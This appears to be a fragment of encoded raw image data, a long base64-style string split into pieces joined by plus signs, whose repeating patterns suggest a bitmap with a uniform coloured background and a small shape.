//////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//////////v///fz//9zM//+YZf//f0D//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/Hv9+P1b/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+GSv//u5r///n1//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////+/n//863//+LUv//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj9W/34/hP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///gEH//59x///s4v////////////////////////////////////////////7+ + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v//9/L//7SQ//+E + R///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4T/fj+t/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+KUP//zLL///z7//// + /////////////////////////Pv///f0/v/x6/7/7+n9//Tv/v/6+P7//v7///////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////+/f//+/n///j1/v/38/7/+fb+//38 + ///////////////////////////////+/v//6d7//5tp//9/QP//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/rf9+ + P8z/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///f0D//6J0///u5v////7//////////////////v7///n2/v/o3v3/0sD6/8ew + +f/Frvn/y7b6/9zO+//y7P7//fz///////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/r///Hr/v/h1fz/1sX7/9PB+v/ay/v/6N/9//f0/v/+/v/////////////////////////9 + /P//ya///4ZL//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/M/34/5f9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+GS///ya////z7//// + ///////////////////59/7/49j8/8Go+f+vj/f/qof2/6mG9v+sivb/t5n3/9C9+v/x6/7//v7///// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////z6///r4/3/zLf6/7OU9/+qh/b/qYb2/62M + 9v+9ovj/28z7//by/v////////////////////////7+///w6P//oHH//39A//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P+D/fj/y/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///5hl///r4f////7//////////////////fz//+zl/f/ErPn/q4n2/6mG + 9v+phvb/qYb2/6mG9v+qh/b/tJX3/9fH+//59/7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///+/f//8ev+/8y3+v+sivb/qYb2/6mG9v+phvb/qYb2/6qH9v+3mvf/39L8//v6//////////////// + /v////////z7///Jrv//h03//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/7P9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/Qf//sYz///v5//// + ///////////////////6+P7/3dD7/7CP9/+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+rifb/wKf4//Dr + /f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////v5///h1Pz/s5T3/6mG9v+phvb/qYb2/6mG + 9v+phvb/qYb2/6yL9v/ErPn/8+7+/////////////////////v///v7//+zi//+bav//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/5/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4ZL///Quv///v7///////////////////////f0/v/Uw/v/qof2/6mG + 9v+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+4m/j/6eD9//7+//////////////////////////////// + //////////////////////////////////////////////////////////////////////////7+///9 + /f///Pv///z7///9/f///v7///////////////////7+///+/f///f3///7+//////////////////// + /////v7///39//////////////////////////////////////////////////////////////////// + ////////+PX+/9bF+/+qh/b/qYb2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/7mc+P/q4v3//v7///// + //////////7+///+/v//+vf//7aR//+BQ///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///lF///+ne//// + ////////////////////////9/T+/9TD+/+qh/b/qYb2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/7ib + +P/p4P3//v7///////////////////////////////////////////////////////////////////// + ///////////////////////////////8+///5tr//8mv//+/oP//vp///8mv///g0f//9O////n3///x + 6///2cb//8uy///Svf//6d////r3///+/f/////////////+/v////////////////////////////// + ///////////////////////////////////////////////////39P7/08H6/6mG9v+phvb/qYb2/6mG + 9v+phvb/qYb2/6mG9v+phvb/t5r3/+jf/f/+/v/////////////////////////+/f//1L///4tS//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+keP//9/P////////////////////////////6+P7/3dD7/7CP + 9/+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+rifb/wKf4//Dr/f////////////////////////////// + /////////////////////////////////////////////////////////////////////////+vi//+l + ev//h03//4JF//+AQv//iU///5hl//+uhv//sYv//6uC//+RW///iE7//49Z//+fcP//zrf///by//// + //////////////////////////////////////////////////////////////////////////////// + //////////////n2/v/ay/v/rYz2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/6qI9v+9ovj/7uf9//// + ///////////////////////////////t5P//m2r//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///7CJ///7 + +f////////////////////////////38///s5f3/xKz5/6uJ9v+phvb/qYb2/6mG9v+phvb/qof2/7SW + 9//Xx/v/+ff+//////////////////////////////////////////////////////////////////// + ///////////////////////////////59v//waP//6yE//+6mf//w6b//7eT//+cbP//h0z//4NH//+C + RP//hkr//5Fb//+gcv//pHj//6By//+pf///7eX///////////////////////////////////////// + /////////////////////////////////////////////////////////Pv//+jf/f+9ovj/qof2/6mG + 9v+phvb/qYb2/6mG9v+phvb/sZH3/8+8+v/49f7///////////////////////////////////n2//+r + gf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//vZz///38//////////////////////////////////n3 + /v/j2Pz/waj5/6+P9/+qh/b/qYb2/6yK9v+3mff/0L76//Tr+P///v3///////////////////7+//// + //////////////////////////////////////////////////////////////////////////Pu///I + rf//6d7///r3///9/f//+vj//+DR//+uhv//iU///4tS//+vh///z7f//+TW///n3P//3Mr//9K8///3 + 9P////////////////////////////////////////////////////////////////////////////// + ////////////////////////9/T+/9vM+/+3mvf/rIv2/6mG9v+phvb/qoj2/7GR9//Grvn/7OT9//39 + /////////////////////////////////////Pv//7WS//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4NG///L + sf///v3//////////////////////////////////v7///n2/v/o3v3/0sD6/8ew+f/Frfn/y7b6/9zO + +//+6+L///z7/////////Pr///Tu///x6v//8On///Xw///7+v///v7///////////////////////// + /////////////////////////////////////v7///79/////////////////////////fz//9rI//+f + cf//xKj///Dp///+/f///v7///7+///8+v//+vf///79//////////////////////////////////// + ///////////////////////////////////////////////////////////////////+/v//9vL+/9/S + /P/ErPn/uZz4/7ea9/+9ovj/z7z6/+zk/f/8+//////////////////////////////////////////9 + /P//wKL//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///iE7//9jF///+/f////////////////////////////// + //////////////z7///39P7/8ev+/+/p/f/07/7//vj2//728///4dL//8Wo//+qgP//mWf//5Nf//+c + a///uZb//9rI///18f///v7///////////////////////////////////////////////////////// + ///////////////////////////////+/v//9vH//+bZ///18P///v7///////////////////////// + //////////////////////////////////////////////////////////////////////////79///6 + 9///9vH///Pt///v6P//7+j///Xx//77+v///v7///n2//Pu/v/q4v3/6N/9/+7n/f/39P7//f3///// + //////////////////////////////////////////38///Ms///gkX//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+M + VP//39D///79//////////////////////////////////////////////////////////////79///+ + /v//+PT//8Kl//+JT///f0H//34///9+P///f0D//4BC//9/QP//jFP//7mX///r4f///fz///////// + ///////////////////////////////////////////////////////////////////////////////+ + /v///v3///////////////////////////////////////////////////////////////////////// + //////////////////////////z7///p3v//ya///6F0//+OVv//iU///4lP//+LU///m2v//7+f///i + 0//+9/P///7+///+/f///f3///////////////////////////////////////////////////////// + /////f3//9O9//+GSv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///41W///g0f///v7///////////////////////// + //////////////////////////////////////////Tv///Irv//hEj//39A//9+P///fj///39A//+J + T///oHH//4RI//9+P///gEH//6Bx///i1P///fz///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///5dn//5Fb//9/ + QP//fj///34///9+P///fj///34///9+P///f0H//4hO//+yjP//7+j///////////////////////// + ///////////////////////////////////////////////+/f//077//4ZK//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///jFP//+DQ///+/f////////////////////////////////////////////////////////////// + ////2sf//5Fb//9/QP//fj///34///9+P///gEL//6Bx///r4v//lGD//34///9+P///gEH//6R3///v + 5/////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v3//+PV//+5lv//f0D//34///9+P///fj///34///9+P///gkT//49Z//+D + R///fj///4BB//+jdv//6uD///////////////////////////////////////////////////////// + //////////38///Lsf//gkX//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+LUv//3s7///79//////////////////// + ///////////////////////////////////////////////Jrv//hEf//39A//9+P///gEH//4NG//+E + R///iE3//5Vh//+CRf//fj///34///9+P///hEj//9O+///9/f////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////49P//t5T//5Zi//9+ + P///fj///34///9+P///fj///34///+QWv//2cb//5pp//+AQf//fj///4BC///Cpf////////////// + /////////////////////////////////////////////////////fv//7+f//9/Qf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4hO///ayf///v3///////////////////////////////////////////////////////// + /////////8+4//+ESP//f0D//4JE//+SXf//rIT//7KN//+eb///hkv//39A//9+P///fj///34///9/ + QP//v5////z6//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////Dp//+cbP//jlb//4BB//+GSv//iVD//4RI//9/QP//fj///4hO//+y + jf//jlf//39B//9+P///fj///7GK//////////////////////////////////////////////////// + ///////////////8+v//tJD//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEj//9G7///9/P////////////// + ////////////////////////////////////////////////////4tP//45W//+AQf//kFn//76f///o + 3P//7eT//9S///+hdP//gUT//34///9+P///fj///34///+/oP//+/r///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////8On//5Zi//+J + UP//l2T//8So///YxP//vZ3//5Ba//9/Qf//f0H//4VK//+AQv//fj///39A//+CRf//xqr///////// + //////////////////////////////////////////////////////7///r4//+thf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+AQf//w6b///38//////////////////////////////////////////////////// + ///////////////z7v//sIn//4NH//+fcf//4tT/////////////8uz//7+f//+FSv//fj///34///9+ + P///g0b//9fD///+/f////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////18P//nW7//4tT///Jrv//+vf///z6///07v//vp7//4RI//9+ + P///fj///34///9+P///f0D//45X///ezv////////////////////////////////////////////// + ////////////////////9fH//6R4//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+0jv//+/n///////// + ////////////////////////////////////////////////////+/n//+/o///Otv//kFn//6Bx///i + 1P/////////////y7P//v5///4VK//9+P///fj///4BC//+ofv//8uv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////v6//+o + fv//k1///+PV//////////////v6///YxP//ilD//34///9+P///fj///34///+CRP//tI////Ls//// + //////////////////////////////////////////////////////////7+///t5P//mmn//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///6d8///38/////////////////////////////////////////////// + /////v7///Tu///VwP//r4f//5xr//+OV///lmP//7+f///o3P//7eT//9S///+hdP//gUT//34///+D + Rv//qoD//+jc///9/f////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//863//+UYP//0Lr/////////////+ff//8Wo//+G + Sv//fj///34///9+P///gUP//55u///ezv//+/n///////////////////////////////////////// + /////////////////////v3//9zL//+NVf//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///mWj//+/o//// + ///////////////////////////////////////////////y6///u5n//5Zi//+aaf//uJX//8es///H + rP//rIT//7CJ//+zjf//n3D//4dN//+AQv//g0f//62F///x6////f3///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////9vH//8Wo//+shP//0Lr//+PV///Jrv//lmP//4BB//9+P///f0D//4BC//+FSf//lmL//7WR///Y + xP//6+H///n3///+/v/////////////////////////////////////////////8+///xaj//4NG//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+NVP//4ND////+//////////////////////////////////// + /////fz//9jE//+LUv//sIr//+HS///z7f//+vf///v5///t5P//0Lr//66H//+ofv//t5T//8Wo///X + w///9vH///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+vf//+TX///Fqf//r4f//51t//+R + XP//iU///4JE//+WYv//v5///8mv//+3lP//mmn//5Vi//+lef//1cD///n3//////////////////// + //////////////////////////r3//+uhv//f0D//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4JF///G + qf///v3////////////////////////////////////////69///0rz//6R4///j1v///f3///////// + //////////79///cyv//k17//6+H///v5////Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////z7///z7v//6t///+XY///Lsv//lWH//6yD///u5f///Pr///Pu///j + 1v//ya7//6J0//+rgf//7uX/////////////////////////////////////////////8uv//51u//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///f0D//6qA///38/////////////////////////////// + //////////7+///39P//7+f///z6////////////////////////9fH//7qZ//+YZv//3Mr///38//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////fz///FqP//h03//9O9///9/P////////7+///18f//1L///72c///y7P////////////// + ///////////////////////////+///dzP//jlb//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///lF///+ba/////v////////////////////////////////////////////////////////////// + ///////////////x6v//sYv//6uB///t5f////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7//+XY//+aaP//rof///Lr//// + //////////7+///59///9O////38/////////////////////////////////////////Pr//7+g//+C + Rf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+ESP//y7L///38//////////////////// + //////////////////////////////////////////////////////////n3///dzP//3Mv///n3//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////7ub//6l///+sg///8Oj///////////////////////////////////////// + /////////////////////v7///7+///w6P//nm///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39A//+wif//+vf///////////////////////////////////////////////////////// + /////////////////////v7///v5///7+f///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///7+f//+/n///8 + +////////////////////////////////////////////////////v3///79///+/v///fz//9O9//+I + Tv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///5Zj///p3v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////9/P///v3///7+///38///sIr//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hEj//8Gj///7+v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////+///+/v///v3//+DR//+U + X///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/QP//l2X//+fc///+ + /v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///38///uJX//4RH//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+DR///vp7///r3//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////f3//9rJ//+S + XP//f0D//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+Z + Z///5tr///79/////////////////////////////////////////v3///7+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///z7f//rIT//4FE//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4NG//+5l///9/P///7+//////////////////// + //////////n3///q4P//8uv///z7//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v///fz//821//+L + U///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///5Ba///Wwf///Pv///7+/////v//////////////////+PT//8Wo///Aov//6d////38//// + /////////////////////////////////////v7///////////////////////////////////////// + /////////////////////////////////////////////////////v7///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7///7+//////////////////// + //////////////////////////79///p3v//nGz//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///gUP//6F0///o3f///fz///7+//// + ///////////////+/v//7eX//7ua//+2k///zbX//+XZ///18P//+vj///v5///49P//9/T//+zj///p + 3v////////////////////////////////////////////////////////////////////////////// + //////////79///7+f///Pv///7+//////////////////////////////////////////////////// + //////////////////////////////////////////39///7+v///v7///////////////////////// + //////////r3///v5///8On///v5///////////////////////////////////+/v//8ev//7WQ//+E + SP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hkr//7eT///07////fz///7+///////////////////+/v//9fD//8mv//+k + d///pnr//7OO//+8m///vZz//7mW//++nv//2MT///j0//////////////////////////////////// + ///////////////////////////////////////////////////////////////+/v///v7///////// + //////////////////////////////////////////////////////////////////////////////// + ////+PX//9zL///Wwv//7uX///Tv///59v//+vj///r3///w6P//0Lr//7aT///Lsv//8uv///////// + //////////////////////7///n1///EqP//i1L//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///jVX//8ux///5 + 9v///f3////+/////////////////////////Pv//+rg///Ksf//upj//7aT//+9nf//yrH//9jF///z + 7v///v3///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////8+v//6+H//8+3//+qgf//qoH//72c//+6 + mf//uJb//7CJ//+pf///zLP///Ls///7+v///v7////////////////////////8+///1cH//5Rf//9/ + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//lF///9G7///7+P///v3///7+//////////////////// + ///////////////+/v///v7///7+///+/f///v7///7+//////////////////////////////////// + //////////////////////////////////////////////////////////7+///9/P///f3///7+//// + //////////////////////////////////////////////////////////////////////////////// + //////////7+///7+v//9fD//+HS///Irv//q4H//6Z7//+ofv//vp7//+XZ///8+/////////////// + /////////////////////f3//+DR//+ZaP//gEH//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+B + Q///lmP//9bC///59v///v3////////+/v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///+/v////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////v3///n3///5 + 9v//+vj///v6///9/f////////////////////////////////////////38///j1f//onX//4JE//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+AQv//mmj//9nG///+/f////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////+/v//5Nf//6R3//+DR///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+FSf//wqT///v6//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////+3l//+fb///gUP//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///gEL//55u///p3v///f3///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////+/v//59z//5pp//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + 